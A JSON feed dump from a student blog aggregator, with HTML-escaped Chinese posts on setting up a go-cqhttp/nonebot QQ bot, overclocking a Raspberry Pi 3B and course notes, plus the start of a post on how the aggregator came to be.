class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中 \u003ccode\u003ews://127.0.0.1:8080/cqhttp/ws\u003c/code\u003e 中的 \u003ccode\u003e127.0.0.1\u003c/code\u003e 和 \u003ccode\u003e8080\u003c/code\u003e 应分别对应 nonebot 配置的 HOST 和 PORT。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果要修改\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e在机器人目录打开终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enano\u003c/span\u003e .env.dev\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开该文件,里面的 host 和 port 就是我们工程与 cqhttp 建立联系的通道地址\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecqhttp\u003c/code\u003e 是前述 \u003ccode\u003eregister_adapter\u003c/code\u003e 时传入的第一个参数,代表设置的 \u003ccode\u003eCQHTTPBot\u003c/code\u003e 适配器的路径,你可以对不同的适配器设置不同路径以作区别。\u003c/p\u003e\u003ch3 id=\"启动机器人\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E6%9C%BA%E5%99%A8%E4%BA%BA\" class=\"headerlink\" title=\"启动机器人\"\u003e\u003c/a\u003e启动机器人\u003c/h3\u003e\u003cp\u003e注意go-cqhttp目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的是在\u003ccode\u003e/usr/bin/go-cqhttp\u003c/code\u003e\u003c/p\u003e\u003cp\u003e打开一个终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e也可设置后台启动\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enohup\u003c/span\u003e /usr/bin/go-cqhttp \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e cqhttp.log \u003cspan class=\"token operator\"\u003e\u003cspan class=\"token file-descriptor important\"\u003e2\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"token file-descriptor important\"\u003e\u0026amp;1\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e机器人目录下打开终端(\u003cstrong\u003e注意要在虚拟环境下\u003c/strong\u003e)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb run\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003eAccepted!好耶\u003c/strong\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/ec36/"},{"title":"树莓派3B超频初尝试","time":"2021-05-11T09:56:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"树莓派3B初尝试\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%A0%91%E8%8E%93%E6%B4%BE3B%E5%88%9D%E5%B0%9D%E8%AF%95\" class=\"headerlink\" title=\"树莓派3B初尝试\"\u003e\u003c/a\u003e树莓派3B初尝试\u003c/h1\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e参考文档\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e \u003ca href=\"https://qcsunny.github.io/2017/09-02-%E6%A0%91%E8%8E%93%E6%B4%BE3B%E4%B9%8BCPUGPU%E5%92%8C%E5%86%85%E5%AD%98%E8%B6%85%E9%A2%91%E7%A8%B3%E5%AE%9A%E6%80%A7%E6%B5%8B%E8%AF%95/\"\u003e树莓派3B之CPUGPU和内存超频稳定性测试\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://www.jianshu.com/p/53e85e3f2547\"\u003e树莓派3B超频指南\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/78514024\"\u003e树莓派3B+ 开启超频\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://zhuanlan.zhihu.com/p/137745265\"\u003e树莓派固件更新(rpi-update)的那些坑\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"更新最新固件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%9B%B4%E6%96%B0%E6%9C%80%E6%96%B0%E5%9B%BA%E4%BB%B6\" class=\"headerlink\" title=\"更新最新固件\"\u003e\u003c/a\u003e更新最新固件\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e博客上这么写的更新就行\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003erpi-update\u003c/code\u003e是一个用于更新树莓派固件的工具,可以通过\u003ccode\u003eapt get install rpi-update\u003c/code\u003e来安装\u003c/p\u003e\u003cp\u003e一般来说直接执行下面的命令就可以更新固件,\u003cstrong\u003e然而并不行\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e rpi-update\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e直接更新固件的方法:\u003cstrong\u003e亲测可行\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003esudo UPDATE_SELF=0 rpi-update\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"修改配置文件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E4%BF%AE%E6%94%B9%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"修改配置文件\"\u003e\u003c/a\u003e修改配置文件\u003c/h2\u003e\u003cp\u003e有两种法子:\u003c/p\u003e\u003col\u003e\u003cli\u003eSD卡插电脑,用\u003ccode\u003eNotepad++\u003c/code\u003e修改文件:\u003ccode\u003econfig.txt\u003c/code\u003e\u003c/li\u003e\u003cli\u003e直接在原系统操作\u003ccode\u003esudo nano /boot/config.txt\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e清空里面内容,复制下面内容\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eover_voltage \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003earm_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1400\u003c/span\u003ecore_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003egpu_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003edtparam \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e sd_overclock \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003etemp_limit \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e85\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#force_turbo = 1\u003c/span\u003eover_voltage_sdram \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003esdram_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e600\u003c/span\u003esdram_schmoo \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e 0x02000020\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e解释:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003eover_voltageCPU/GPU电压,有效值为[-16,8],0对应1.2v,步进为0.025v,超过6需要同时配合force_turbo=1才生效。个人测试是达到5是1.394v,再高的值电压也不再增加。arm_freqARM CPU主频,默认值为1200gpu_freq同时对core_freq,h264_freq,isp_freq, v3d_freq超频,core_freq默认值为400, h264_freq、isp_freq、v3d_freq默认值为300core_freqGPU核心主频,默认400,对内存读写速度有一点好处dtparam=sd_overclock默认50,SD卡超频,该项设置没有危险,默认值低是为了提高兼容性,一般的卡都可以放心调整到100,重启后执行dmesg | grep \u0026#34;mmc0\u0026#34;见mmc0: overclocking to 100000000Hztemp_limit过热保护。默认值为85,过热降频。不建议长期运行在70度以上,高温对芯片寿命影响较大。force_turbo=1时一直运行在高性能模式下,策略为scaling_governor=performance;=0时根据cpu利用率动态调频,默认策略为scaling_governor=ondemand。有五种调节策略: performance/powersave/userspace/ondemand/conservative,可通过以下命令更改策略(必须root用户下)echo conservative \u0026gt; /sys/devices/system/cpu/cpu0/cpufreq/scaling_governorover_voltage_sdram[-16,8],同时设置over_voltage_sdram_c(control),over_voltage_sdram_i(I/O), over_voltage_sdram_p(phy)电压sdram_freq内存工作频率,默认450MHzsdram_schmoo内存部分时序4,3,2,0,0,-2,-2,0,-10,提高性能和稳定性,分别对应如下int8_t dphy_drive_level; // 4..0 -\u0026gt; 34R,40R,48R,60R,80Rint8_t aphy_drive_level; // 4..0 -\u0026gt; 34R,40R,48R,60R,80Rint8_t dram_drive_level; // 4..-1 -\u0026gt; 34R,40R,48R,60R,80R,120Ruint8_t dphy_lpwr_rx; // Non-zero for LPWR_RX in DPHYuint8_t aphy_lpwr_rx; // Non-zero for LPWR_RX in APHYint8_t dll_offset_rd_n; // DLL offset schmoo: Low phase Readint8_t dll_offset_rd_p; // DLL offset schmoo: High phase Readint8_t dll_offset_wr; // DLL offset schmoo: DQ/DQS Writeint8_t dll_offset_addr; // DLL offset schmoo: Address/command\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e然后保存,重启\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"性能测试、压力测试、状态监测、稳定性测试\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95%E3%80%81%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95%E3%80%81%E7%8A%B6%E6%80%81%E7%9B%91%E6%B5%8B%E3%80%81%E7%A8%B3%E5%AE%9A%E6%80%A7%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"性能测试、压力测试、状态监测、稳定性测试\"\u003e\u003c/a\u003e性能测试、压力测试、状态监测、稳定性测试\u003c/h2\u003e\u003cp\u003e性能测试\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e表示创建4个线程来寻找 $\\sqrt{20000}$ 以内的质数:\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003esysbench --num-threads=4 --test=cpu --cpu-max-prime=20000 run\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003eCPU压力测试\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e建议压力测试至少10分钟或以上,无出错/死机\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003eapt\u003c/span\u003e \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e stressstress \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-t\u003c/span\u003e 10m \u003cspan class=\"token parameter variable\"\u003e-v\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看温度\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003evcgencmd measure_temp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003eCPU和内存电压\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token for-or-select variable\"\u003eid\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e core sdram_c sdram_i sdram_p \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e \u003cspan class=\"token builtin class-name\"\u003eecho\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u003cspan class=\"token variable\"\u003e$id\u003c/span\u003e:\u003cspan class=\"token entity\" title=\"\\t\"\u003e\\t\u003c/span\u003e\u003cspan class=\"token variable\"\u003e\u003cspan class=\"token variable\"\u003e$(\u003c/span\u003evcgencmd measure_volts $id\u003cspan class=\"token variable\"\u003e)\u003c/span\u003e\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edone\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看CPU频率(在\u003cstrong\u003e测试\u003c/strong\u003e的时候看,arm项应返回\u003cstrong\u003e1400000\u003c/strong\u003e)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003ecat\u003c/span\u003e /sys/devices/system/cpu/cpu2/cpufreq/cpuinfo_cur_freq\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e要是供电不够测试会挂,所以供电很重要\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e完了~\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/80ca/"}]},{"name":"小北的书夹","email":"","uri":"http://blog.xiaobeo.top/","description":"just so so","article":[{"title":"byd西电","time":"2023-07-12T19:00:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e就喜欢搞没水没电没网是吧\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/16.html"},{"title":"现代产品设计笔记","time":"2023-07-12T16:14:26+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这里记录的是现代产品设计知识点。现代产品设计为什么要研究现代设计?最主要的是为了创造出更适合人们需求和喜好的产品。现代设计理论是应用科学的思想和方法,使设计更理性、科学、动态和计算机化。这样可以...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/15.html"},{"title":"微原考试重点","time":"2023-07-12T16:13:56+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e微机原理考试重点,就是题库啦!微原考试(考试占比50%)简答题(30分)五道题,看思维导图上内容重点。中断子程序和一般子程序区别,三个区别:调用方式、保护、返回指令。存储器,8086奇偶线选择信...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/14.html"},{"title":"计算机图形学基础与CAD开发","time":"2023-07-12T16:13:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e计算机图形学基础与CAD开发;This program prints the ASCIIs(30-90) to the screen.(defun C:PASCII (/ as) ...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/13.html"},{"title":"机械制造基础笔记","time":"2023-07-12T16:11:54+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e机械制造基础考试内容。1 绪论应用机械设备,采用一定的工艺和方法,将产品从一种构思变为实物机械制造过程 ​ 从上面的例子可以看出,要将产品从一种构思变为实物,必须经历下面的过程:1.生...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/12.html"},{"title":"微机原理笔记","time":"2023-07-12T16:10:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e单选1.在8086/8088 CPU中,一个最基本的总线读写周期由( )(1)时钟周期(T状态)组成,在T1状态,CPU往总线上发( )(2)信息。(1) A. 1个 B. 2...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/11.html"},{"title":"vr 展馆","time":"2023-07-12T16:09:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003evr 展馆这里是计算机设计大赛的一点记录\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/10.html"},{"title":"红色游历小分队---南宁站","time":"2023-07-12T16:07:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e为庆祝党的百年华诞,深情回顾党的历史,热情讴歌党的光辉业绩,继承和发扬党的光荣传统和优良作风,坚定孩我们的理想信念及激发历史责任感,今天我们去的是广西南宁的南宁博物馆。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/9.html"},{"title":"markdown基本语法","time":"2023-07-12T14:03:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e第一篇博客用来测试目前网站的markdown基本语法支持。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/6.html"},{"title":"机器人","time":"2023-07-12T13:41:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e写点笔记关于机器人技术\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/3.html"}]}],"update":"2023-07-20T08:03:35.545111687Z"} \ No newline at end of file +{"version":1,"author":[{"name":"SuperBart/BenderBlog","email":"","uri":"https://www.superbart.xyz/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post XDU Planet 感想\"/\u003e\u003ch2 id=\"这个项目的由来\"\u003e这个项目的由来\u003c/h2\u003e\n\u003cp\u003e事情从我看同学博客说起。我感觉把我同学的博客都聚合到一起看,看起来更方便,而且还能满足我一直想当“干新闻的”想法。毕竟,我在校内开过一段时间电台,天天报新闻()\u003c/p\u003e\n\u003cp\u003e我的想法是,按照时间更新 RSS 数据,然后对其进行解码渲染。客户端先选择对象,然后选择文章,就可以看了。我的想法可以说是服务器版本的 RSS 阅读器,只不过 RSS 列表是我写好的同学博客。这个和看报纸十分相似:作者给报社供稿,报社展示。所以我说有点像“搞新闻的”。\u003c/p\u003e\n\u003ch3 id=\"第一次尝试\"\u003e第一次尝试\u003c/h3\u003e\n\u003cp\u003e大约是去年,有个人写了个 go 语言实现的 xduplanet,他的想法是运行一个服务器程序,内部订好抓取 RSS 源的顺序,然后渲染显示。我当下来代码发现,虽然他能做到我上面的想法,但是开发阶段比较原始,他只有一个 json 文件写入所有人的 RSS 链接。而且页面是一个文章列表,而不是先选人再选文章。当时我时间较紧,能力也没那么强,我就作罢。\u003c/p\u003e\n\u003ch3 id=\"第二次尝试\"\u003e第二次尝试\u003c/h3\u003e\n\u003cp\u003e在做 Web 工程大作业的时候,我们组不知为啥,搞的是从网上获取数据,然后用 RSS 输出数据的软件。他是一个管道过滤器结构,RSS 输出只是一个最终的端口。这也是我的一大意向程序,然而我并没帮忙开发多少,只是验收的时候我去演示了而已:-P\u003c/p\u003e\n\u003cp\u003e这个软件实际上十分接近我的需求了,我可以按照列表,推送当天同学博客有啥更新。但是那次演示完了,我感觉我是不想用了……\u003c/p\u003e\n\u003ch3 id=\"这次尝试\"\u003e这次尝试\u003c/h3\u003e\n\u003cp\u003e前几天有个玩老电脑的推荐我 68k.news 和小可怜网的代码。虽然一开始我只是抱着看看能不能用,在服务器上运行了一下,但是我看这网站,感觉我的 XDU Planet 想法终于可以实现了,而且这回基本算是做熟了,摆在了我的桌子上。但是你吃饭还得把菜放在嘴里…..\u003c/p\u003e\n\u003ch3 id=\"代码修改\"\u003e代码修改\u003c/h3\u003e\n\u003cp\u003e修改了两个方面:Atom 源的支持和 API\u003c/p\u003e\n\u003ch4 id=\"atom-源头\"\u003eAtom 源头\u003c/h4\u003e\n\u003cp\u003e这个项目,由于本身是为了不支持 js 的老电脑显示当前新闻,他使用了 php-cgi 。不过没关心,我看代码十分简单,我就直接上了。我先简单地安排了我同学的博客,然后发现很多人的博客都显示不完全。\u003c/p\u003e\n\u003cp\u003e我去查看了这个项目使用的 php rss 库下面两个示例文件,和本项目进行比较。我发现本项目只支持 RSS 源头,而且 RSS 只支持查看 description 的东西。诚然对于显示新闻的 RSS 源来说,是够用了,但是我同学博客使用了不同的框架,这些框架输出源的格式对于这个程序,算超刚了:-P\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一类是输出了 Atom 类型的源,这个打开头就和 RSS 不一样,程序最后报错。\u003c/li\u003e\n\u003cli\u003e一类是 RSS 源,但是内容都在 